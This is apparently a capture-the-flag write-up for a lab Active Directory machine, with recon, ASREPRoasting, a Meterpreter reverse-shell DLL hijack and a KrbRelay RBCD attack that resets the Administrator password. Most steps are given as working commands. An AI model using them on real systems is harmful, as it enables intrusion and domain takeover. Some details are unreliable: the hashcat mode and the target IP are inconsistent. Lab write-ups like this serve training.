Bruno
Overview
Bruno is a Windows Active Directory machine that chains together several real-world techniques: subdomain enumeration, FTP guest access to retrieve internal application files, .NET decompilation to understand a file processing pipeline, ASREPRoasting a service account, and finally DLL hijacking via a writable queue directory to gain a foothold. Privilege escalation abuses Resource-Based Constrained Delegation (RBCD) via KrbRelay to relay Kerberos authentication from the DC and reset the Administrator password.
Recon
Nmap
Run a default script/version scan alongside a full port scan:
sudo nmap -sC -sV -vv -oA tcp 10.129.238.9 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.238.9The RDP service fingerprint leaks domain information without any authentication:
Target_Name: BRUNO
| NetBIOS_Domain_Name: BRUNO
| NetBIOS_Computer_Name: BRUNODC
| DNS_Domain_Name: bruno.vl
| DNS_Computer_Name: brunodc.bruno.vl
| DNS_Tree_Name: bruno.vl
| Product_Version: 10.0.20348Key details extracted:
- Domain:
bruno.vl - Domain Controller:
brunodc.bruno.vl - OS: Windows Server 2022 (build 20348)
Add both to /etc/hosts before proceeding:
10.129.238.9 bruno.vl brunodc.bruno.vl
Subdomain Fuzzing
With a known domain name, fuzz for virtual hosts to uncover internal web services. The -fl 32 flag filters responses with 32 lines (the default "not found" page size) to cut through noise:
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.bruno.vl" -u http://bruno.vl -ic -fl 32We discover dev.bruno.vl - an internal development vhost. Add it to /etc/hosts and browse it. The site appears to host an internal file processing application.
FTP - Guest Access
FTP is open and allows unauthenticated guest access:
ftp 10.129.238.9
# Username: anonymous (or guest)We find files related to an internal application - grab everything:
mget *The retrieved files include .dll and .exe binaries. These are worth decompiling - internal .NET applications often leak credentials, file paths, and processing logic.
.NET Decompilation
Load the DLL into dnSpy to reverse the application logic:
Two important findings:
- ZIP upload support - the application accepts
.zipfiles and extracts them to a queue directory for processing. Path.Combinepath traversal - the code constructs file paths usingPath.Combine(baseDir, userInput). In .NET, if the second argument is an absolute path,Path.Combinediscards everything before it, enabling directory traversal. However, the application enforces an extension whitelist at the upload layer, so we cannot exploit this directly through the web interface.
The important insight here is the queue directory - if we can write to it via another channel, we bypass the web restriction entirely.
Foothold
User Enumeration
The FTP files contain usernames or clues about AD accounts (config files, logs, directory names). Build a wordlist and validate against the DC using kerbrute:
kerbrute userenum --dc brunodc.bruno.vl -d bruno.vl usersSeveral valid accounts are confirmed. The service account svc_scan stands out as a likely ASREPRoast target.
ASREPRoasting
ASREPRoasting targets domain accounts with "Do not require Kerberos preauthentication" enabled. Without needing a password, the KDC will hand back a hash encrypted with the account's password in the AS-REP message - crackable offline.
impacket-GetNPUsers bruno.vl/[email protected] -usersfile valid_ad_users -no-pass -dc-ip 10.129.238.9We receive a Kerberos 5 AS-REP hash for svc_scan. Crack it with hashcat using the 13100 module (Kerberos 5 TGS-REP etype 23 - same format works here):
hashcat -a 0 -m 13100 svc_scan_hash /mnt/hgfs/I/data/rockyou.txtCracked credentials: svc_scan : Sunshine1
DLL Hijacking via the Queue Directory
With svc_scan credentials, we confirm write access to the application's queue folder over SMB. This bypasses the web upload entirely - we can drop a ZIP directly into the queue for the processing service to handle.
The processing service runs under a more privileged account. When it extracts our ZIP and attempts to load DLLs from the extracted path, it will search local directories first - a classic DLL hijacking opportunity.
Inspecting the application binary in dnSpy reveals the missing DLL the service tries to load:
Target: Microsoft.DiaSymReader.Native.amd64.dll
Since the service searches the extraction directory before system paths, placing a malicious DLL with that name inside a ZIP and dropping it into the queue will cause the service to load our payload.
We attempt this first with AdaptixC2, generating a DLL-format beacon and packaging it in a ZIP:
The Adaptix DLL agent failed to execute correctly in this context. Switching to a Meterpreter reverse DLL payload works - generate with msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=<attacker_ip> LPORT=4444 \
-f dll -o Microsoft.DiaSymReader.Native.amd64.dll
zip payload.zip Microsoft.DiaSymReader.Native.amd64.dllStart the handler and drop the ZIP into the queue via SMB. The service processes it and we catch a Meterpreter session. From there, we pivot to an Adaptix beacon for more flexible post-exploitation.
Privilege Escalation
Enumeration with Seatbelt
With a stable beacon, run Seatbelt to enumerate the local system and AD environment:
.\Seatbelt.exe -group=allGroup membership reveals two interesting users:
** BRUNODC\Server Operators ** (Members can administer domain servers)
User BRUNO\Sam.Owen S-1-5-21-1536375944-4286418366-3447278137-1112
** BRUNODC\Account Operators ** (Members can administer domain user and group accounts)
User BRUNO\Jeremy.Singh S-1-5-21-1536375944-4286418366-3447278137-1113Server Operators is a privileged built-in group that can start/stop services on domain controllers, and members carry SeBackupPrivilege and SeRestorePrivilege. These can be abused for credential extraction or shadow copy attacks. However, the path forward here is RBCD via KrbRelay - leveraging the DC's own Kerberos authentication against itself.
RBCD Attack - Concept
Resource-Based Constrained Delegation (RBCD) is an AD feature where a computer account can be configured to allow another account to impersonate any user to it. The attack chain:
- Create a machine account - domain users can add up to 10 computer accounts by default (MachineAccountQuota).
- Relay DC authentication via KrbRelay - coerce the DC into authenticating to us via a DCOM/COM trigger, then relay that Kerberos ticket to LDAP over TLS to modify the DC's
msDS-AllowedToActOnBehalfOfOtherIdentityattribute, granting our machine account delegation rights. - S4U2Self + S4U2Proxy - use our machine account to request a service ticket impersonating Administrator to the DC.
- Use the ticket - pass it to WinRM or SMB for administrative access.
In this case, KrbRelay also supports directly resetting the Administrator password during the relay, which is the shortcut we take.
Step 1 - Create a Machine Account
Using SharpMad to add a new computer account via the MachineAccountQuota:
.\SharpMad.exe MAQ -Action new -MachineAccount test -MachinePassword passwordRetrieve the SID of the newly created account - needed to configure RBCD:
[System.Security.Principal.SecurityIdentifier]::new((([ADSI]"LDAP://CN=test,CN=Computers,DC=bruno,DC=vl").objectSID).Value, 0).ValueResult: S-1-5-21-1536375944-4286418366-3447278137-5101
Step 2 - KrbRelay
Upload KrbRelay.exe to the target. We trigger authentication using the CertSrv CLSID (d99e6e74-fc88-11d0-b498-00a0c90312f3) which causes the DC to initiate a Kerberos connection that we intercept and relay (credit: CICADA8-Research/RemoteKrbRelay):
.\KrbRelay.exe -spn ldap/brunodc.bruno.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -rbcd S-1-5-21-1536375944-4286418366-3447278137-5101 -ssl -reset-password administrator Password123!What this does:
-spn ldap/brunodc.bruno.vl- relays the captured Kerberos ticket to the LDAP service on the DC-clsid d99e6e74-fc88-11d0-b498-00a0c90312f3- COM trigger (CertSrv) that forces the DC machine account to authenticate-rbcd <SID>- setsmsDS-AllowedToActOnBehalfOfOtherIdentityon the DC to include our machine account-ssl- relays over LDAPS (required for sensitive attribute modifications)-reset-password administrator Password123!- resets the Administrator password via the relayed LDAP session
Step 3 - Shell as Administrator
With the Administrator password reset, authenticate via Evil-WinRM:
evil-winrm-py -i 10.129.54.145 -u administrator -p 'Password123!'We land as BRUNODC\Administrator and can read the root flag.
Attack Chain Summary
| Phase | Technique | Result |
|---|---|---|
| Recon | Nmap, ffuf vhost fuzzing | DC info, dev.bruno.vl discovered |
| Info gathering | FTP guest access + dnSpy decompilation | App logic, queue directory, missing DLL |
| Credential access | Kerbrute + ASREPRoasting + hashcat | svc_scan:Sunshine1 |
| Foothold | SMB write to queue + DLL Hijacking (Meterpreter) | Shell as service account |
| Enumeration | Seatbelt | Server Operators / Account Operators membership |
| Privilege escalation | SharpMad + KrbRelay RBCD + password reset | administrator:Password123! |
| Root | Evil-WinRM | Root flag |
Key Tools
| Tool | Purpose |
|---|---|
nmap | Port/service enumeration |
ffuf | Virtual host / subdomain fuzzing |
kerbrute | AD username enumeration |
impacket-GetNPUsers | ASREPRoasting |
hashcat | Offline hash cracking |
dnSpy | .NET DLL decompilation |
msfvenom / Metasploit | Meterpreter DLL payload |
AdaptixC2 | C2 framework / beacon |
SharpMad | Machine Account Quota abuse |
Seatbelt | Post-exploitation enumeration |
KrbRelay | Kerberos relay → RBCD + password reset |
evil-winrm-py | WinRM shell |

